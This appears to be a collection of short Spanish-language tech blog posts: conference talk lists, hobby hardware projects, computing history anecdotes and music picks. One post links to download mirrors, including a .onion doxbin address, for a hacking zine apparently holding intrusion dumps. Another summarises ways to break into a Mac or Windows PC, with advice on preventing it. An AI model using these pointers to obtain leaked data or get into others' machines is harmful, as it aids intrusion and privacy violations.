• Bootstrapping your Startup with Windows Azure
• Introduction to Xbox SmartGlass
• Unit Testing Windows Store Apps
• Developing for Windows Azure Web Sites and SharePoint Online
• Top tips for iOS devs building Windows Store apps
• Developing, deploying, and monetizing Windows Store games with Unity
• Windows Azure Storage – Building applications that scale
• Create Cross-platform Apps using Portable Class Libraries
• Building HTML 5 Web Apps with Visual Studio & ASP.NET
• Developing highly-available, scale-out applications for Windows Server 2012
• The Windows Runtime Q&A
• Build 2012 Day 1 Keynote
• Workflow & Workflow Manager 1.0: What’s New, What’s Coming
• Building Hybrid Applications using the Windows Azure Service Bus
• How to Leverage your Code across WP8 and Windows 8
• Windows Phone 8: HTML5/IE10 for Developers
• How to Leverage your Code across WP8 and Windows 8 (Repeat)
• Nokia Music Windows Phone 8 App-to-App APIs
• Windows Phone 8: Application Model
• Windows Phone 8: Native C/C++ Game Development
• Windows Phone 8: XAML Application Development
• Windows Phone 8: In App Purchase & Developer Center
• Windows Phone 8: Critical Developer Practices for Delivering Outstanding Apps
• Windows Phone 8: Networking, Bluetooth, and NFC Proximity for Developers
• Windows Phone 8: Making Money with Your Application on Windows Phone
• Windows Phone 8: Maps, Location, and Background Execution for Developers
• Windows Phone 8: Performance & Optimization for Developers
• Windows Phone 8: Photo and Lens Apps
• Windows Phone 8: Tiles, Lock Screen, and Notifications
• Windows Phone 8: Native C/C++ Game Development (Repeat)
• Windows Phone 8: Using C++ in your Applications
• Windows Phone 8: Using C++ in your Applications (Repeat)
• Windows Phone 8: Using the Speech API
• Windows Phone 8: Wallet and Deals for Developers
• Windows Phone 8: App to App Communication
• Windows Phone 8: Enterprise Development
• Preshow Day 1
• Windows Phone 8: Application Model (Repeat)
• HTML5 & CSS3 latest features in action! (Repeat)
• Building Windows 8 LOB Apps (Repeat)

Que mal hablados son estos desarrolladores del …

En la web de www.vidarholen.net tienen un par de gráficas basadas en la búsqueda de ciertas palabras dentro del código fuente del núcleo de Linux. Los ficheros buscados son todos los .c, .h y .s y concretamente las palabras, como podemos ver en la gráfica que encabeza esta entrada son: fuck, shit, crap, bastard y penguin.

Mirando a la gráfica (haz click sobre ella para verla más grande), se puede ver rápidamente, la versión 2.6.35.5 del núcleo causó algún que otro dolor de cabeza entre los desarrolladores :)

Recordando al gran maestro, Carl Sagan

Blue Pale Dot

Feliz día de Carl Sagan

Carl Sagan Day

Er docu der finde: La historia de la electricidad …

Las "Stable Talks" de Derbycon 2012 ya disponibles

En la gran web de irongeek han publicado las Stable Talks de la Derbycon de este año. Las Stable Talks son charlas, sobre seguridad también, pero cuya duración suelen ser más cortas que las charlas tradicionales.

Sin más, aquí tenéis el listado:

• Valerie Thomas: Appearance Hacking 101 - The Art of Everyday Camouflage
• Tim Tomes "LanMaSteR53": Next Generation Web Reconnaissance
• Thomas Hoffecker: Hack Your Way into a DoD Security Clearance
• John Seely CounterSploit MSF as a defense platform
• Chris Murrey "f8lerror" & Jake Garlie "jagar": Easy Passwords = Easy Break-Ins
• Tyler Wrightson: The Art and Science of Hacking Any Target
• Thomas Richards: Android in the Healthcare Workplace
• Spencer McIntyre: How I Learned to Stop Worrying and Love the Smart Meter
• Shawn Merdinger: Medical Device Security
• Rockie Brockway: Business Ramifications of Internet's Unclean Conflicts
• Nathan Magniez: Alice in Exploit Redirection Land
• Magen Hughes: Are you HIPAA to the Jive
• Justin Brown & Frank Hackett: Breaking into Security
• Josh Thomas: Off Grid Communications with Android
• Jennifer "savagejen" Savage & Daniel "unicorn Furnance": The Patsy Proxy
• Jason Pubal: SQL Injection 101
• James Siegel: Nice to Meet You
• Brett Cunningham: Beyond Strings - Memory Analysis During Incident Response
• Gus Fritschie & Nazia Khan: Hacked Hollywood
• Evan Anderson: Active Directory Reconnaissance - Attacks and Post-Exploitation
• David Young: ISO8583 or Pentesting with Abnormal Targets
• David Cowen: Running a Successful Red Team
• Damian Profancik: Managed Service Providers - Pwn One and Done
• Ben Toews & Scott Behrens: Rapid Blind SQL Injection Exploitation with BBQSQL
• Andy Cooper: Why Integgroll Sucks at Python..And You Can Too

Tutorial introducción a tcpdump

En este enlace tienes un estupendo tutorial de una de las herramientas de análisis de redes más utilizada, tcpdump.

Eso sí, hay que conocer un poco el funcionamiento del protocolo TCP/IP (aquí tienes un libro completo) antes de ponerte a analizar paquetes de datos, ya que tcpdump es una muy buena herramienta pero la información que devuelve y su utilización desde la línea de comandos hacen que sea a la vez potente pero un poco más complicada de usar.

Como construir una mesa máquina recreativa MAME …

Ya tienes un nuevo proyecto geek para sacar partido a tu flamante Raspberry PI (si es que has conseguido uno y no estas esperando meses como nosotros). Este es posiblemente el proyecto más asequible y fácil para construir una verdadera máquina recreativa MAME.

Los componentes más caros son el Raspberry PI y el monitor de 24 pulgadas LCD que se ha utilizado como pantalla (aunque estas pantallas cada vez son más baratas de encontrar, sobre todo de segunda mano). De hecho, prácticamente todo el proyecto utiliza material reciclado como por ejemplo los altavoces y la madera.

Aquí tienes todas las instrucciones de montaje.

Disney compra Lucasfilm

Para susto de algunos como Cybercaronte :-) con sus famosas frases: "te recuerdo que sólo existen para mi tres películas" o " tres infames películas de cuyo nombre no quiero acordarme" saber que ya están preparando secuelas para 2015 (glub!). Ya me veo a campanilla esquivando los torpedos de protones. :-p

Myextralife

Link

Hack The Planet zine 4

Nuevo número de la revista electrónica sobre hacking/seguridad Hack The Planet (HTP) zine 4. Contenido de la misma es:

1. ImageShack
2. Symantec
3. Cryto
4. Pwned lineup
5. 0dayz

Enlaces de descarga:

http://pastebin.com/raw.php?i=jhLt7s83
http://htp4.hack-the-planet.tv/htp4/HTP-4.txt
http://doxbinumfxfyytnh.onion/HTP4.7z
http://uplink.sh/htp4/
http://dikline.org/
http://empathy.hardchats.org/htp4/HTP-4.txt
Fuente

Domingo por la mañana, Les Malheurs, Pure Reason …

Pure Reason Revolution 

Er docu der finde: La historia de la electricidad …

Presentaciones de la BruCON 2012

Ya se encuentran disponibles las presentaciones de la BruCON 2012 celebrada el pasado mes de septiembre durante los días 26 y 27.

• (Keynote) Ed Skoudis - Letting Loose the Dogs of (cyber) War - PPTX
• Georgia Weidman - Introducing the Smartphone Penetration Testing Framework - PDF
• Robert McArdle - HTML5 - A Whole New Attack Vector - ZIP
• Raul Siles - Security of National eID (smartcard-based) Web Applications - PDF
• Josh Corman and Jericho - "Cyberwar" : Not What We Were Expecting - PPTX
• Mathy Vanhoef - New flaws in WPA-TKIP - PDF
• Martin Gallo - Uncovering SAP vulnerabilities: dissecting and breaking the Diag protocol - PDF
• Fernando Gont - Recent Advances in IPv6 Security - PPTX
• Gregory Pickett - pMap, the silent killer - PDF
• Carlos Garcia - How I met your pointer (Hijacking client software for fuzz and profit) - PDF
• Mickey Shkatov - we have you by the gadgets - PPTX
• David Mortman - The Defense RESTs: Automation and APIs for Improving Security - PPTX
• Kyle 'Kos' Osborn & Krzysztof Kotowicz - Advanced Chrome Extension Exploitation (2h) - PDF
• Abraham Aranguren - Introducing OWTF (4hr) - tar.gz - blog post

Ideas que Apple compró, tomó prestadas y robó …

Source: BestMastersPrograms.org

Conversión entre minúsculas y mayúsculas a nivel …

Nunca me había percatado de esta curiosidad en la codificación de los caracteres en ASCII. Cómo ya todos sabemos, cada carácter en ASCII tiene su propio código, incluido las letras mayúsculas y minúsculas. Por ejemplo, la letra A = 65 y la a = 97, en decimal.

Si cogemos todos los caracteres en mayúsculas (A-Z) y todos los minúsculas (a-z) e imprimimos su código en binario, observamos que todos los bits son iguales, excepto el sexto bit (contando desde la derecha):

La guía definitiva de Windows 8

En Tom’s Hardware (una de nuestras páginas web de referencia) han creado este completo artículo sobre Windows 8. Entre otros temas, podrás saber más sobre  Windows 8 UI (Metro), Apps, Desktop (escritorio), IE10, SkyDrive, y la nueva Windows Store.

Eso sí, está en inglés pero es el más completo que hemos visto por la red, sólo hay que echarle un vistazo al índice:

• 1.Meet Microsoft Windows 8
• 2.System Requirements, Upgrade Paths, SKUs, And Pricing
• 3.Test Systems And Software
• 4.Installing And Setting Up Windows 8
• 5.Windows 8 UI Basics
• 6.Windows 8 Start Screen
• 7.Charms Bar
• 8.Switcher
• 9.App And Navigation Bars
• 10.Gestures, Text Selection, And Copy/Paste
• 11.Two Keyboards: One Virtual, One Physical
• 12.Apps: Essentials And Ecosystem
• 13.Apps: Productivity
• 14.Apps: News And Search
• 15.Windows 8 PC Settings
• 16.The Windows 8 Desktop And Task Manager
• 17.Desktop Control Panel
• 18.World's Collide: Windows 8 UI + Desktop
• 19.Tom's Tips To Mitigate Windows 8 UI
• 20.Windows 8: Mistake Or Misunderstood?

 

Otros análisis de Windows 8:

Domingo por la mañana, Sky Trees, Solar Fields

Solar Fields, Magnus Birgersson creador entre otros buenos discos, de la banda sonora de Mirror’s Edge.

Cálico Electrónico 4ª Temporada Capítulo 4: …

Vuelven los hermanos dando caña …

Y sorpresa, aparece un nuevo personaje que seguro te suena de algo …

No os lo perdáis, a ver si pillas todos los guiños a juegos y películas.

Cálico Electrónico.

Presentaciones de la Ruxcon 2012

La conferencia sobre seguridad Ruxcon se celbebró en Australia los pasados 20 y 21 de octubre. Ya están disponibles (la mayoría) las presentaciones oficiales. Aquí tenéis la lista:

• De Mysteriis Dom Jobsivs: Mac EFI Rootkits
• Exploiting Internal Network Vulns via the Browser Using BeEF Bind
• Android Malware Detection in the Cloud
• Thar' be Vuln. ID's Here - A Data Mining Case Study
• Practical Attacks on Payment Gateways
• Targeted Malware – Sophisticated Criminals or Babytown Frolics?
• Reverse Engineering a Mass Transit Ticketing System
• FooCodeChu for Software Analysis, Malware Detection, & Vuln Research
• Windows Kernel Fuzzing For Beginners
• Examination of the VMWARE ESXi Binary Protocol Using Canape
• Tracking vulnerable JARs
• Finding Needles in Haystacks (The Size of Countries)
• How To Catch a Chameleon: Its All In Your Heap
• Bluetooth Packet Sniffing Using Project Ubertooth
• Advanced Persistent Response
• Hardware Backdooring is Practical
• Binary Instrumentation for Android
• The Blackhole Exploit Kit Spam Runs

Er docu der finde: Un cerebro superdotado

¡Empieza el Asegur@IT Camp 4!

Estar tarde estaremos ya en en el Asegur@IT Camp 4 para pasar otro fin de semana de vino Tochuelo, charlas con amigos, cubatas, conferencias, etc. y el estreno del nuevo capítulo de Cálico Electrónico.

Ya tenemos preparada nuestra charla “Gangs of Computing: La Informática se creó en las calles. Microhistorias de Apple y Microsoft”, con la que seguro pasaréis un buen rato escuchando anécdotas de la Informática.

Bestial trailer de "Evil Dead"

-

http://www.youtube.com/watch?v=ceBXUyuv4Q0&hd=1

Link

Fabricando un display LCD conectado a tu ordenador …

Interesante proyecto para crear un display externo para controlar el estado de algunos parámetros del ordenador como el tiempo que lleva conectado (útil para servidores por ejemplo), uso de la CPU, uso de la RAM, fecha, hora o lo que se te ocurra.

Es bastante sencillo, “sólo” utiliza un PIC 18F2550, que ofrece de forma nativa control sobre el puerto USB.

Aquí tienes toda la información, materiales, esquemas y todo lo que necesites para fabricarlo.

Yeeply, la mejor comunidad de expertos para el …

Estamos siguiendo de cerca la evolución de este proyecto de nuestros amigos de Yeeply. Desde hace una semana, la web de la plataforma Yeeply, ha comenzado su funcionamiento y los expertos desarrolladores ya pueden registrarse si quieren obtener un beneficio económico, pues la plataforma tiene empresas con proyectos mobile y se necesitan a expertos que quieran ganar dinero resolviendo esas necesidades o propuestas.

Hay muchas ventajas por registrarse en Yeeply, no sólo el beneficio económico. Por un lado, los expertos pertenecerán a una comunidad en la que la tecnología móvil será su nexo de unión y la plataforma les permitirá un intercambio de información constante. Y por otro, las empresas, podrán publicar sus proyectos de forma gratuita y seleccionar al experto que más le convenga para su ejecución, un proceso rápido, sin comisiones y que resulta muy útil.

Oferta Maligna para el Asegur@IT Camp

Chema ha lanzado una oferta maligna (por 113€) para que definitivamente no te pierdas este año el Asegur@IT Camp.

Recuerda que además de las estupendas charlas a las que podrás asistir, hay una  en la que tuxotron (que viene de los EEUU exclusivamente para el evento) y yo (cybercaronte) hablaremos de aquellas anécdotas de la historia de la Informática que tanto os gustan.

Además, esta misma charla servirá para presentar oficialmente nuestro libro de Microhistorias, el cual saldrá dentro de muy poco.

Microhistorias: ¿Conoces a Joe Pillow?

No voy a contarte toda la historia de Joe Pillow, para eso tienes que escuchar el  podcast Retroactivo, donde habla de Joe Pillow, alias Amiga 1000.

Lo que sí voy a hacer es comentar una parte de la historia, en concreto la de un extraño personaje con pasaje de vuelo llamado Joe Pillow.

Todo el desarrollo del Amiga 1000 estuvo rodeado de un gran halo de misterio para proteger el invento. Incluso las reuniones se hacían con las persianas bajadas y nadie comentaba nada sobre su trabajo en el proyecto. Había mucho miedo por aquella época de que otra empresa pudiera copiar tu trabajo y sacar antes que tú (en esos tiempos era vital ser el primero en sacar un ordenador al mercado) un modelo de ordenador al mercado.

Domingo por la mañana, Pájaro, Santa Leone

 

Esto es sólo un avance de la canción, si la quieres escuchar completa, pulsa aquí.

Grande Pájaro, como él denomina su música: rock, surf, spagetti western y cofrade.

No puedo evitar acordarme de las películas de Tarantino …

Recopilatorio de comandos *NIX

Me gusta el recopilatorio de comandos que podemos encontrar en Unix Toolbox, sobre todo su organización. Está llenos de comandos muy útiles teniendo en consideración varios derivados de UNIX como Linux, FreeBSD o Solaris, sino que en algunos apartados podemos incluso encontrar la equivalencia de ciertos comandos bajo Windows. Las categorías en las que se divide son:

1. System
2. Processes
3. File System
4. Network
5. SSH SCP
6. VPN with SSH
7. RSYNC
8. SUDO
9. Encrypt Files
10. Encrypt Partitions
11. SSL Certificates
12. CVS
13. SVN
14. Useful Commands
15. Install Software
16. Convert Media
17. Printing
18. Databases
19. Disk Quota
20. Shells
21. Scripting
22. Programming
23. Online Help

Además podéis bajaros el contenido en formato PDF y PDF formato libreto.

Er docu der finde: Galileo Galilei

El misterioso caso del dispositivo desconocido …

Imagenes: networking-forum.com

En concreto, es un switch (commutador red) y se llama Pluto Switch. Apareció en una oficina de un pueblo de Iowa y lo encontró un técnico (desconocido, no se sabe quién era, sólo que eran dos personas y parece que pertecen a la empresa Menard’s) que al no reconocer el tipo de puertos (no son los típicos puertos Ethernet o de fibra), preguntó en un foro para ver si alguien le podía dar más información.

Cómo acceder a un ordenador con Mac OS X y otro …

Estos dos excelentes artículos son de LifeHacker:

How to Break Into a Mac (and prevent it from happening to you)

How to Break Into a Windows PC (and prevent it from happening to you)

En el caso de acceder a un Mac, se basa en tener el CD de instalación del Mac OSX  y otra  usando arranque en modo "single-user" (Command+S en el arranque)  . Luego nos explica cómo evitar estas dos situaciones de riesgo.

Yeeply, la plataforma para clientes y …

Parece ser que por fin, nuestros amigos Yeeply salen a la luz, después de muchos esfuerzos y unos meses muy intensos de trabajo.

Para los que todavía no la conozcáis, Yeeply es una plataforma de relacionamiento para la mayor comunidad mundial de  expertos en movilidad, en la que empresas de cualquier tipo puedan contratar o subcontratar a los mismos. Los expertos encuentran en Yeeply proyectos que desarrollar y con los que ganan dinero a través de la plataforma, además de una serie de funcionalidades que les permite intercambiar información y conocimientos entre ellos, entre otras cosas.

Microsoft Windows Server 2012 (Infografía)

Fuente

Domingo por la mañana, The Shutes, Echo of love

The Shutes

Vídeos de la DerbyCon 2012

Este era otra de las entradas que tenía pendiente de publicar. Como ya bien anunciaron en Security By Default, en IronGeek estaban subiendo los vídeos de la DerbyCon 2012. Hasta ahora sólo faltan 2 vídeos, el de Kevin Mitnick, pendiente de aprobar y otro titulado “You Can’t Buy Security. Building an Open Sourced Information Security Program”, del cual parece ser tuvieron alguna dificultad técnica. Para que quede registrado por aquí, esta es la lista:

15 curiosidades sobre el cerebro (Infografía)

Fuente

Er docu der finde: Amenaza, ciberguerra y …

Ya sé que llego una semana tarde, pero aquí lo dejo.

Presentaciones de la HITB 2012 de Malasia

Ya están disponibles las presentaciones de la Hack In The Box celebrada en Malasia los pasados 10 y 11 de octubre. La lista de las mismas:

• D1T1 - Barisani and Bianco - Practical Exploitation of Embedded Systems.pdf
• D1T1 - Chris Wysopal - Data Mining a Mountain of Vulnerabilities.pdf
• D1T1 - Lucas Adamski - Firefox OS and You.pdf
• D1T1 - Petko Petkov - History of the JavaScript Security Arsenal.pdf
• D1T1 - Philippe Langlois and Emmanuel Gadaix - 6000 Ways and More.pdf
• D1T2 - Don Bailey - Hackers, The Movie - A Retrospective.pdf
• D1T2 - Haroon Meer - You and Your Research.pdf
• D1T2 - Marc Heuse - IPv6 Insecurity Revolutions.pdf
• D1T2 - Mark Dowd & Tarjei Mandt - iOS6 Security.pdf
• D1T2 - Meder Kydyraliev - Defibrilating Web Security.pdf
• D1T2 - Wes Brown - Supercomputing, Malware and Correlation.pdf
• D1T3 - F Raynal & G Campana - An Attack Path to Jailbreaking Your Home Router.pdf
• D1T3 - John Draper - A Historical Look at the Personal Computer and Phreaking.pdf
• D1T3 - Jose Nazario - Tracking Large Scale Botnets.pdf
• D1T3 - Paul Sebastian Ziegler - Hacking in the Far East.pdf
• D1T3 - The Grugq - OPSEC - Because jail is for wuftpd.pdf
• D2T1 - Chris Evans - Element 1337 in the Periodic Table - Pwnium.pdf
• D2T1 - Katie Moussouris - How to Get Along with Vendors Without Really Trying.pdf
• D2T1 - Ollie Whitehouse - Finding the Weak Link in Binaries.pdf
• D2T1 - Rodrigo Branco - A Scientific Study of Malware Obfuscation Technologies.zip
• D2T2 - Fyodor Yarochkin and Vladimir - Messing up the Kids Playground.pdf
• D2T2 - Jeremiah Grossman - Why Web Security is Fundamentally Broken.pdf
• D2T2 - Raoul Chiesa - Information Warfare and Cyberwar.pdf
• D2T2 - Saumil Shah - Innovative Approaches to Exploit Delivery.pdf
• D2T3 - Emmanuel Gadaix - Something MEGA.pdf
• D2T3 - Felix FX Lindner - Hacking Huawei VRP.pdf
• D2T3 - Mikko Hypponen - Behind Enemy Lines.pdf
• D2T3 - Stefano Zanero - Behaviour-Based Methods for Automated Scalable Malware Analysis.pdf

Fuente

Curso de Ruby en CodeAcademy

Cybercaronte ya nos habló de un curso de python en CodeAcademy, ahora le ha tocado el turno a Ruby.

El curso está compuesto de 5 secciones:

1. An introduction to the Ruby programming language.
2. Control Flow in Ruby
3. Looping with Ruby
4. Arrays and Hashes
5. Blocks and Sorting

Cada sección tiene varios ejercicios y pequeños proyectos. El curso está basado en la versión 1.9.3

Línea de ropa de Apple (1986)

Aquí tenéis algunas fotos de la colección de 1986 de la línea de ropa de Apple.

Visto aquí

¿Cómo de seguro es tu código PIN? (Infografía)

Compiled by: BackgroundCheck.org

Material de la JavaOne 2012

La JavaOne es quizás la conferencia orientada a Java más grande celebrada anualmente. Ésta se celebró la pasada semana en San Francisco. Si te interesa el mundo que rodea a Java esto es una mina de oro. Esta es la lista de todas las charlas que se dieron, en los enlaces encontrarás los vídeos y el material de cada charla.

• Amazon Web Services for Java Developers
• From Java Code to Java Heap: Understanding the Memory Usage of Your Application
• Transaction Monitoring with the Instrumentation API: A Working Example
• Real-World Compatibility and the Java Promise
• Creating a Magical User Experience
• Who’s More Functional: Kotlin, Groovy, Scala, or Java?
• Making Apps Scale with CDI and Data Grids
• Type-Safe, Efficient, Low-Level Programming for the JVM
• Modern Software Development Antipatterns
• Visualizing the JVM Runtime Environment with JavaFX
• Rapid Robot Programming
• Building WebSocket Applications with GlassFish and Grizzly
• Mobile Java App Innovation in Nigeria
• Polyglot for Dummies
• Java for Mobile Devices: New Horizons with Fantastic New Devices
• Resource Management in Java: Tips, Traps, and Techniques
• Uncovering Hidden Power Tools in the JDK
• Security Vulnerabilities in Open Source Java Libraries
• JVM JIT for Dummies
• How RESTful Is Your REST?
• Building Mobile Apps with HTML5 and Java
• Clojure/ClojureScript: One Language to Rule the Web
• Forge New Ground in Rapid Enterprise Software Development
• Spearfish: Real-Time Java-Based Underwater Tracking of Large Numbers of Targets
• Confident Data Transfers with Apache Camel Security
• Stress-Testing Java EE 6 Applications Without Stress
• java.nio.file for Remote Systems
• Practical Performance: Understand the Performance of Your Application
• Open Source Identity and Access Management Expert Panel
• JavaFX for Business: Monitoring a Container Terminal
• GlassFish 4: From Clustering to the Cloud
• Cover Your Web and Mobile Applications with Integration Tests from Scratch
• London Java Community: How to Change the World
• The Power of Java 7 NIO.2
• One Client That Rules Them All
• JEDI: The Catalyst for Java Education
• The Bluffer’s Guide to Terminology: An Entertaining Introduction to Java and CS
• Liquor Dispensing and Management Systems Featuring Java SE 7 Embedded
• Protecting Machine-Only Processed Data
• The Coming M2M Revolution: Critical Issues for End-to-End Software and Systems
• Standards for the Future of Java Embedded
• Engaging the Enterprise
• Do You Really Get Class Loaders?
• Leverage Enterprise Integration Patterns with Apache Camel and Twitter
• Dynamic Class Reloading in the Wild with Javeleon
• Moving to the Client: JavaFX and HTML5
• Developing a Professional JavaFX Desktop Application: Challenges and Solutions
• Building Hybrid Cloud Apps: Local Databases + The Cloud = Extreme Versatility
• The Java User Experience Team Presents the Latest UI Updates
• Hack into Your Compiler!
• Web Framework Smackdown 2012
• JavaFX Graphics Tips and Tricks
• Future HttpClient: A Sneak Peek into a New HttpClient API
• A Java-Powered FIRST Robot
• Building HTML5 Web Applications with Avatar
• Developing with Berkeley DB and Oracle Database Mobile Server for Java Embedded
• New Security Features and Fundamentals: JDK 8 and Beyond
• Why Should I Switch to Java SE 7?
• Cloud ALM: Connecting the Development Team to the New Deployment Destination
• Practical Guide to Using Operator Network APIs
• JAX-WS.Next: Progress and Feedback
• Polyglot Persistence: EclipseLink JPA for NoSQL, Relational, and Beyond
• JAX-RS 2.0: New and Noteworthy in the RESTful Web Services API
• Developing JAX-RS Web Applications Utilizing Server-Sent Events and WebSocket
• Building Amazing Applications with JavaFX
• JavaFX Extreme GUI Makeover
• GlassFish Community BOF
• Writing Your Own JavaFX UI Controls
• Jump-Starting Lambda Programming
• JFXtras Super Happy Dev BOF
• Doing JSF Development in the NetBeans IDE
• JavaFX on Smart Embedded Devices
• JCP.Next: Reinvigorating Java Standards
• Why There’s No Future in Java Futures
• ARM: Eight Billion Served—“Want That Java Superoptimized?”
• Tracing Your Java Application Tuning on Oracle Solaris with DTrace
• NetBeans Community Keynote
• GlassFish Unconference: Let Your Voice Be Heard
• NetBeans Community Day Closing Remarks and Recognitions
• JavaEE.Next(): Java EE 7, 8, and Beyond
• MySQL Cluster and NoSQL
• Overview of an Embedded Platform for Big Data in Manufacturing
• Leveraging Java to Enable a Velocity of New Monetizable Services
• An Embedded Service Platform for Uninterruptible Processing
• Using the New javax.cache Caching Standard
• Deploying Modular Applications with Apache ACE
• Pragmatic Continuous Delivery
• Reach the Next Billion with Engaging Apps: Nokia Asha Full Touch for Java ME Developers
• Oracle Social Network: Extending Social into Enterprise Applications and Business Processes
• Social Developer Hackathon
• Revolutionary Best Practices in Consumer/Industrial Markets with Freescale + Java
• Protecting Java EE Web Apps with Secure HTTP Headers
• Live-Coding BOF: Writing a Game with JavaFX
• Angry Duke: Physics-Based Games in JavaFX
• Custom Static Code Analysis
• The Good, Bad, and Ugly of Java Generics
• Scala Tricks
• Java: A Perfect Platform for Data Science
• What’s New in Grails 2.0?
• The Rise of NoSQL and Polyglot Persistence
• All Power to OpenJDK: Porting the JDK to PowerPC and AIX
• Eclipse 4.x: A Major Upgrade of Eclipse
• First Do No Harm: Deferred Checked Exception Handling Promotes Reliability
• Kinect Open Source Programming Secrets: Hacking with OpenNI, NITE, and Java
• Autosharding Enterprise to Social Gaming Applications with NoSQL and Couchbase
• Ajax or App?
• Delivering Performance and Reliability at the World’s Leading Futures Exchange
• Client/Server Applications with HTML5 and Java
• Cross-Build Injection Attacks: How Safe Is Your Java Build?
• Java Batch for Cost-Optimized Business Efficiency
• IDE 2.0: How Much Can the IDE Predict You Will Write in the Next Few Seconds?
• Up, Up, and Out: Scaling Software with Akka
• Contemporary User Interface Design Patterns in JavaFX 2.2
• Scala, JavaFX, Java EE 7, and Enterprise Integration
• Developing Polyglot Persistence Applications
• Improving Your Groovy Kung-Fu
• JavaFX Meets Metro
• A Common Development Framework: From JSP to GSP at CERN
• Real-World Java EE 6 Tutorial
• Rediscovering Your Architecture Through Software Archaeology
• Real-Life Load Testing: Up to Your Knees in Mud
• Tooling Support for Enterprise Development
• Continuous Enterprise Development: Case Studies in Java EE Integration Testing
• Kotlin: Practical Aspects of JVM Language Implementation
• Finagle Your Application to Prevent Outages, Using Twitter’s Finagle
• Powerful Analytics Apps Fueled by Java for High Performance and Scalability
• What’s New in Groovy 2.0?
• I’ve Got 99 Languages, but Java Ain’t One
• Migrating Swing Applications to JavaFX 2
• What’s What in NoSQL?
• Front-to-Back Security for Mobile, HTML5, and Java EE Applications
• Apache TomEE, a Java EE 6 Web Profile on Tomcat
• Best Practices in Java Enterprise Monitoring
• The Future of ALM: Developing in the Social Code Graph
• Mobile WORA for Real: Java for iOS, Android, BlackBerry, Windows, and Java ME
• OSGi for Earthlings: Meet Eclipse Libra
• A Bird’s-Eye View of the CDI Ecosystem
• Behavior-Driven Development on the JVM: A State of the Union
• JCP and OpenJDK: Using the JUGs’ “Adopt” Programs in Your Group
• Introduction to Java: JVM, Language, and Platform
• Using Java with HTML5 and CSS3
• Migration of a Large Automation Solution to Oracle WebLogic Server
• Bring Your Device to the Cloud: Why Mobile Networks Are Different
• Dare to Compile Your Code with -Xlint:all -Werror
• Java for Embedded Systems: Multicore and More
• Advanced JVM Tuning
• Java Deployment on Mac OS X
• Building Portable Java EE 6 Applications in Eclipse
• RIA Technologies and Frameworks Panel
• In-Database Hadoop: When MapReduce Meets the RDBMS
• JDK 7 in Action: Using New Core Platform Features in Real Code
• Reducing Dynamic Memory in Java Embedded Applications
• 50 Tips in 50 Minutes for GlassFish Fans
• Hacking TableView
• Meet the Nashorn JavaScript Team
• JSR 310: What’s Taking So Long?
• Java DB in JDK 7: A Free, Feature-Rich, Embeddable SQL Database
• JavaFX and Scala, Like Milk and Cookies
• Do You Like Coffee with Your Dessert? Java and the Raspberry Pi
• A Platform for Studying Language Features in Java
• Going Beyond in JSF
• NetBeans.Next: The Roadmap Ahead
• 101 Ways to Improve Java: Why Developer Participation Matters
• Showdown at the JVM Corral
• Java EE and Spring Framework Panel Discussion
• Meet the Experts: JMS 2.0 Expert Group
• The Ins and Outs of Text for JavaFX: The Graphic Details
• Monitoring and Managing a Complex Data Cloud
• Developing Multitenant Applications with HK2 2.0
• Tools for Java EE 7: Evolution or Revolution?
• OpenJDK Building and Testing: Case Study—Java User Group OpenJDK Bugathon
• Meet the Java EE 7 Specification Leads
• JAX-RS-ME: A New JSR for RESTful Web Clients on Java ME 7
• What’s New in the Java Transaction API for Java EE 7 and Beyond
• Oracle JRockit Mission Control Is Dead: Long Live Java Mission Control!
• Mixed-Language Development: Leveraging Native Code from Java
• Meet the JDK Core Libraries Team
• JDK 7 Updates in OpenJDK
• GroovyFX: Making JavaFX Groovy
• Getting up to Speed on Oracle Java SE Embedded Performance: Tuning Tips and Tricks
• Take Performance Tuning of Your Enterprise Java Applications to the Next Level
• For You, By You: Growing the NetBeans Community
• JavaOne Technical Keynote
• Modular Java Platform and Project Jigsaw BOF
• Java Solutions for Securing Edge-to-Enterprise Systems
• Standardized Embedded mHealth: The Power of Java and the Continua Ecosystem
• Building an Embedded Platform for Big Data in Manufacturing
• Expanding the Reach of the Java ME Platform
• Emerging Technologies in Manufacturing and Industrial Automation
• Developing Java Card Applications
• Building Content-Rich Java Apps in the Cloud or On-Premises with the Alfresco API
• Getting Started with the NetBeans Platform
• Java EE Security in Practice with Java EE 6 and GlassFish
• Emergence of the Social Enterprise
• Making the Future Secure with Java
• I Got 99 Problems, but REST Ain’t One
• Building on the LinkedIn Platform: Professional Content, Amplified
• Platform Innovations for Enterprise Social and Mobile in Java
• PrimeFaces: Ultimate Component Suite
• The Social Developer
• How-to: HTML5 Front-End Applications with a Java EE Back End
• Security in the Real World
• Design Patterns in Modern JVM Languages
• Finding and Solving Java Deadlocks
• Effective HATEOAS with JAX-RS
• OpenJDK + Open Source Enhancements
• Take Your Mobile Applications Tests to the Next Level: Continuous Integration
• Concurrent Programming with the Disruptor
• Introduction to the Play Framework
• WebSocket and Java EE: A State of the Union
• Building Serious JavaFX 2 Applications
• OpenJDK: Java SDKs—Testing, Testing, Testing ...
• Migrating Real-World Million-Line Code Bases to Java 7: Lessons Learned
• Lessons Learned: Use of Modern JVM Languages Besides Java
• Java Workload Optimizations in the Cloud from salesforce.com and Intel
• Hazelcast: Scalable Data Structures
• Pimp Your Productivity with Git, Gerrit, Hudson, and Mylyn
• Transform Batch Processes into Message-Oriented Service Architectures
• Graphs Are Everywhere: Neo4j for the Enterprise and Beyond
• Implementing Ruby: The Long, Hard Road
• Using Your Old Java ME Device to Build Cool New Hacking Projects
• Using Enterprise OSGi to Create an Adaptable and Scalable Platform for eBay
• How We Took Our Server-Side Application to the Cloud and Liked What We Got
• Avoiding Java EE Application Design Traps to Achieve Effective Use of Cloud Computing
• What’s New in jclouds 1.5
• Games and Java ME: Have Fun and Earn Some Money
• Why Communities Are Important and How to Start One
• Gooey and Sticky Bits: Everything You Ever Wanted to Know About Java
• Free Java: Introduction to the OpenJDK Project
• Detecting Memory Leaks in Applications Spanning Multiple JVMs
• Java Everywhere: Ready for Mobile and Cloud
• Community Driving the Future of Java: Adopt a JSR
• Efficient Memory and Thread Management in Highly Parallel Applications
• Look Again: Java ME’s New Horizons of User Experience, Service Model, and Internet Innovation
• Runtime Class Reloading for Dummies
• OSGi in the Cloud: A Case Study
• Griffon, Up Close and Personal
• NetBeans Plug-in Development: JRebel Experience Report
• Memory Kinetics as a Basis for Scale-up and Optimization
• Women in Java: An Unconference
• Using Eclipse DBWS to Interface with Legacy Applications
• Modern Java Web Development with Play Framework 2.0
• Building Rich Client Applications with Eclipse 4
• Making Sense out of the Java PaaS Platforms
• JavaFX Mashups
